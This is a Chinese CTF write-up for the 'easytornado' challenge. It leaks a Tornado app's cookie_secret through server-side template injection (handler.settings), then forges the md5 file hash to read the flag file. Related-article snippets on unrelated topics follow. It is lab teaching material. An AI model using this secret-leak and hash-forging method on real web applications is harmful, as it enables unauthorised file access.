easytornado
0x01
进入网站,发现3个文件

逐一查看
flag.txt
url:?filename=/flag.txt&filehash=d3f3ff3f92c98f5f0ff4b8c423e1c588

welcome.txt
url:?filename=/welcome.txt&filehash=5eb47a32caebeb0573e9c7b4855ed21d

hints.txt
url:filename=/hints.txt&filehash=c29ae3750aeaa92cc6ee247785c661e7

0x02 分析
url为?filename=文件名&filehash=hash值构成
而hash值由md5(cookie_secret+md5(filename))构成
已知flag在/fllllllllllllag中
那么只要知道cookie_secret,便得出flag
存在服务器模板注入


使用handler.settings对象得到 cookie_secret
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': 'd979c023-0408-4cfd-bbb3-adff7ab5e408'}

构造payload
cookie_secret:d979c023-0408-4cfd-bbb3-adff7ab5e408
md5(/fllllllllllllag):3bf9f6cf685a6dd8defadabfb41a03a1
md5(合并)
得到md5值:07d0fdc73eb7a22787adfe04f375bf2a
构造,得出flag
?filename=/fllllllllllllag&filehash=07d0fdc73eb7a22787adfe04f375bf2a

参考链接:
https://blog.csdn.net/zz_Caleb/article/details/101473013/
https://www.cnblogs.com/joker-vip/p/12511948.html
easytornado的更多相关文章
- 攻防世界 WEB 高手进阶区 easytornado Writeup
攻防世界 WEB 高手进阶区 easytornado Writeup 题目介绍 题目考点 Python模板 tornado 模板注入 Writeup 进入题目, 目录遍历得到 /flag.txt /w ...
- 攻防世界 easytornado
easytornado 进入环境就这样子 我们逐一访问看看 进入flag.txt提示flag in /fllllllllllllag我们访问fllllllllllllag看看 报了一个error,且在 ...
- 攻防世界 - Web(三)
PHP2: 1.进入页面,进行抓包或后台扫描都没有什么发现,然后网上查一波wp,发现是关于.phps文件,进入index.phps,弹出一段代码,查看源代码, <?php if("ad ...
- SSTI
最牛bypass:https://blog.csdn.net/solitudi/article/details/107752717 SSTI的奇怪绕过姿势:https://blog.csdn.net/ ...
随机推荐
- Go语言 2019 调查报告发布
Go 官方博客昨日公布了[ 2019 年 Go 语言调查报告].本次调查收到的回复达到 10,975 份,约为去年的两倍. 这些受访者的反馈意见将被选取用于改进 Go 语言的发展. 以下是 2019 ...
- for嵌套setTimeout的心得
export default { data() { return { dialogList: [] } }, created() { this.setList() }, methods: { setL ...
- php正则验证手机、邮箱
//验证电话private function reg_phone($phone){ if (preg_match("/^13[0-9]{1}[0-9]{8}$|15[0189] ...
- [Batch脚本] if else 的格式
必须写成一行 ) else (,否则报错. if %abc%=="yes" ( ... ) else ( ... )
- [Hands-on-Machine-Learning-master] 02 Housing
用到的函数 numpy.random.permutation随机排列一个序列,返回一个排列的序列. >>> np.random.permutation(10) array([1, 7 ...
- 多线程并行请求问题及SplashActivity预加载问题解决方案
1. 问题描述(一): 现有3个线程thread1, thread2, thread3.这3个线程是并发执行的,当着3个线程都执行完成以后,需要执行一个finish()事件. 1.1 实现方法: /* ...
- CreateDIBSection和位图结构
2019独角兽企业重金招聘Python工程师标准>>> 理解分辨率 我们常说的屏幕分辨率为640×480,刷新频率为70Hz,意思是说每行要扫描640个象素,一共有480行,每秒重复 ...
- 百度Openrasp开源的应用运行时自我保护产品,安装教程。
第一步: 下载最新版本的安装包 https://packages.baidu.com/app/openrasp/release/latest/rasp-php-linux.tar.bz2 解压到目录: ...
- POJ1088 滑雪题解+HDU 1078(记忆化搜索DP)
Description Michael喜欢滑雪百这并不奇怪, 因为滑雪的确很刺激.可是为了获得速度,滑的区域必须向下倾斜,而且当你滑到坡底,你不得不再次走上坡或者等待升降机来载你.Michael想知道 ...
- 一只简单的网络爬虫(基于linux C/C++)————开篇
最近学习开发linux下的爬虫,主要是参考了该博客及其他一些网上的资料.网络爬虫(又被称为网页蜘蛛,网络机器人,在FOAF社区中间,更经常的称为网页追逐者),是一种按照一定的规则,自动地抓取万维网信息 ...